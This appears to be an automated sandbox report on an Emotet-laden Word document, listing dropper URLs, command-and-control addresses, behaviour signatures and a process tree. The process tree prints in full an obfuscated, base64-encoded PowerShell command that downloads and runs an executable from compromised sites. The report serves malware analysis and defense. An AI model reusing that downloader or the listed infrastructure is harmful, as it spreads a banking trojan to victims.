Overview

overview

10

Static

static

8

E3_bcf3d02...OC.doc

windows7_x64

10

E3_bcf3d02...OC.doc

windows10_x64

10

Analysis

  • max time kernel
    73s
  • max time network
    108s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15/09/2020, 22:24

Sharing

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Report Analysis Logs

General

  • Target
    E3_bcf3d022e653f4004fa87a880b2921efd30e4d5f05e9b118577979b48cf3e68c_2020-09-15_17-12-00_DOC.doc
  • Size 156KB
  • Sample200915-pgwse2jpja
  • SHA256 bcf3d022e653f4004fa87a880b2921efd30e4d5f05e9b118577979b48cf3e68c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://gvoprint.com/wp-admin/FurWrq/
  • exe.dropper

    https://www.amcouture.ro/wp-admin/K28Yjp6C1/
  • exe.dropper

    https://smartrent.com.co/wp-content/uploads/s0nOjuEszW/
  • exe.dropper

    https://lucysite.xyz/ulehp/xFpyrYT9mD/
  • exe.dropper

    http://aminramin.com/wp-content/MD/
  • exe.dropper

    http://jituogroup.com/wp-content/uploads/3/
  • exe.dropper

    https://ngothuyspa.com/wp-includes/8fSO/

Extracted

Family

  • emotet

C2

  • 115.176.16.221:80

  • 45.79.16.230:7080

  • 145.239.169.32:7080

  • 190.85.46.52:7080

  • 180.26.62.115:443

  • 179.5.118.12:80

  • 189.160.188.97:80

  • 5.79.70.250:8080

  • 126.126.139.26:443

  • 41.84.243.145:80

  • 79.133.6.236:8080

  • 139.59.12.63:8080

  • 95.216.205.155:8080

  • 45.177.120.37:8080

  • 54.38.143.245:8080

  • 157.7.164.178:8081

  • 41.212.89.128:80

  • 50.116.78.109:8080

  • 75.127.14.170:8080

  • 49.243.9.118:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_bcf3d022e653f4004fa87a880b2921efd30e4d5f05e9b118577979b48cf3e68c_2020-09-15_17-12-00_DOC.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABUAHMAcgBkADkANgBnAD0AKAAnAE8AaQAnACsAKAAnADYAeABwACcAKwAnAHcAeQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBQAHIAbwBmAEkAbABFAFwAYgBjAHIAUwBjAHMARQBcAFcAOQB6AGIAbABwADMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAFUAUgBgAEkAdABZAFAAYABSAG8AdABPAEMAYABPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACsAKAAnACwAIAAnACsAJwB0AGwAJwArACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABVAGIANQBwAG0AagB0ACAAPQAgACgAJwBNACcAKwAoACcAMQA0ACcAKwAnAGgANgAnACkAKwAoACcAbwB0ACcAKwAnADQAJwApACkAOwAkAEYAbQB4AG8AcABfAG4APQAoACgAJwBBAHkANgAnACsAJwA0ACcAKQArACgAJwBwACcAKwAnAHEAaAAnACkAKQA7ACQASABtAGIAZwB2AGMAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBCAGMAcgAnACsAJwBzAGMAJwArACcAcwBlAHsAJwArACcAMAB9AFcAOQB6AGIAbABwADMAJwArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAYwBoAGEAUgBdADkAMgApACsAJABVAGIANQBwAG0AagB0ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQASwAwADUAeAByAHAAaQA9ACgAJwBEACcAKwAoACcAdgAnACsAJwB2AHcAJwApACsAKAAnAHYAMAAnACsAJwBuACcAKQApADsAJABEAHkAZAAyAHEAXwBiAD0AJgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBCAEMAbABJAEUAbgBUADsAJABEAGEAdAB4AHoAagBiAD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwA6AC8ALwAnACsAJwBnACcAKwAnAHYAbwBwACcAKwAnAHIAaQBuACcAKQArACcAdAAnACsAKAAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAnAG4AJwArACcALwAnACsAJwBGAHUAJwArACcAcgAnACsAJwBXACcAKwAoACcAcgBxACcAKwAnAC8AKgBoAHQAJwArACcAdABwACcAKQArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHcAdwB3ACcAKQArACcALgBhACcAKwAnAG0AJwArACgAJwBjACcAKwAnAG8AdQAnACkAKwAnAHQAJwArACgAJwB1AHIAJwArACcAZQAuACcAKQArACgAJwByAG8ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAnAGEAZAAnACsAJwBtACcAKwAoACcAaQBuAC8AJwArACcASwAnACkAKwAnADIAJwArACgAJwA4AFkAJwArACcAagBwACcAKQArACcANgAnACsAKAAnAEMAMQAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHMAJwArACcAbQBhACcAKQArACgAJwByAHQAcgBlAG4AdAAuACcAKwAnAGMAbwBtAC4AJwArACcAYwAnACkAKwAnAG8ALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYwAnACsAJwBvAG4AJwArACcAdABlACcAKwAoACcAbgB0ACcAKwAnAC8AJwArACcAdQBwAGwAbwAnACsAJwBhAGQAcwAvAHMAMABuAE8AagB1ACcAKQArACgAJwBFAHMAegAnACsAJwBXACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvACcAKwAnAC8AbAB1AGMAeQBzAGkAdABlAC4AJwArACcAeAB5AHoAJwApACsAKAAnAC8AJwArACcAdQBsAGUAJwApACsAJwBoAHAAJwArACcALwAnACsAJwB4ACcAKwAoACcARgAnACsAJwBwAHkAcgBZACcAKQArACcAVAA5ACcAKwAoACcAbQAnACsAJwBEAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AJwArACcAYQBtACcAKQArACgAJwBpACcAKwAnAG4AcgBhAG0AJwApACsAJwBpACcAKwAnAG4AJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuAHQAJwArACcAZQBuAHQALwBNACcAKQArACcARAAvACcAKwAoACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwBqACcAKwAnAGkAdAAnACkAKwAnAHUAJwArACgAJwBvAGcAcgBvAHUAcAAnACsAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAbgAnACsAJwB0AC8AdQBwAGwAbwAnACkAKwAoACcAYQBkACcAKwAnAHMAJwApACsAKAAnAC8AMwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAbgBnAG8AJwArACcAdABoAHUAeQAnACsAJwBzAHAAYQAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAJwB3ACcAKwAoACcAcAAtACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcAYwBsACcAKwAnAHUAZABlACcAKQArACgAJwBzAC8AOABmAFMAJwArACcATwAnACkAKwAnAC8AJwApAC4AIgBTAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIANwAxAHQAdAB5AGUAPQAoACgAJwBNAG0AbwAnACsAJwAwADUAJwApACsAJwAzACcAKwAnAGIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgBfAGQANQBqAGwANwAgAGkAbgAgACQARABhAHQAeAB6AGoAYgApAHsAdAByAHkAewAkAEQAeQBkADIAcQBfAGIALgAiAEQAYABPAGAAVwBOAEwAYABPAGEAZABmAGkATABlACIAKAAkAFYAXwBkADUAagBsADcALAAgACQASABtAGIAZwB2AGMAcgApADsAJABQAGsAcABxADEAZgAyAD0AKAAnAEMAbgAnACsAKAAnAGsANQBvACcAKwAnADIAJwApACsAJwAxACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABIAG0AYgBnAHYAYwByACkALgAiAGwARQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgAxADEAMwA3ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEgAbQBiAGcAdgBjAHIAKQA7ACQAWABlAHUAMQB5AG4AMgA9ACgAKAAnAE8AJwArACcAZgBlAGEAawAnACsAJwBxACcAKQArACcAbQAnACkAOwBiAHIAZQBhAGsAOwAkAEgAYQBrAHUAOABqAHQAPQAoACgAJwBYAHAAJwArACcAZgBvACcAKQArACgAJwBrADcAJwArACcAMgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB5ADkAeQBzAHUAOQA9ACgAKAAnAFIAeABmACcAKwAnAF8AJwApACsAKAAnAHcAJwArACcANAA0ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Users\Admin\Bcrscse\W9zblp3\M14h6ot4.exe
      "C:\Users\Admin\Bcrscse\W9zblp3\M14h6ot4.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\SysWOW64\adprovider\UIAutomationCore.exe
        "C:\Windows\SysWOW64\adprovider\UIAutomationCore.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1420

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/108-2-0x0000000008830000-0x0000000008834000-memory.dmp
        Download

        memory/1308-22-0x000007FEF6AD0000-0x000007FEF6D4A000-memory.dmp
        Download

        memory/1420-21-0x00000000003D0000-0x00000000003E0000-memory.dmp
        Download

        memory/1420-20-0x00000000003B0000-0x00000000003C2000-memory.dmp
        Download

        memory/1672-9-0x0000000001EF0000-0x0000000001EF1000-memory.dmp
        Download

        memory/1672-12-0x000000001C470000-0x000000001C471000-memory.dmp
        Download

        memory/1672-11-0x000000001A930000-0x000000001A931000-memory.dmp
        Download

        memory/1672-10-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1672-8-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1672-7-0x0000000001CA0000-0x0000000001CA1000-memory.dmp
        Download

        memory/1672-6-0x000007FEEA270000-0x000007FEEAC5C000-memory.dmp
        Download

        memory/1976-15-0x0000000001BE0000-0x0000000001BF2000-memory.dmp
        Download

        memory/1976-16-0x0000000001C00000-0x0000000001C10000-memory.dmp
        Download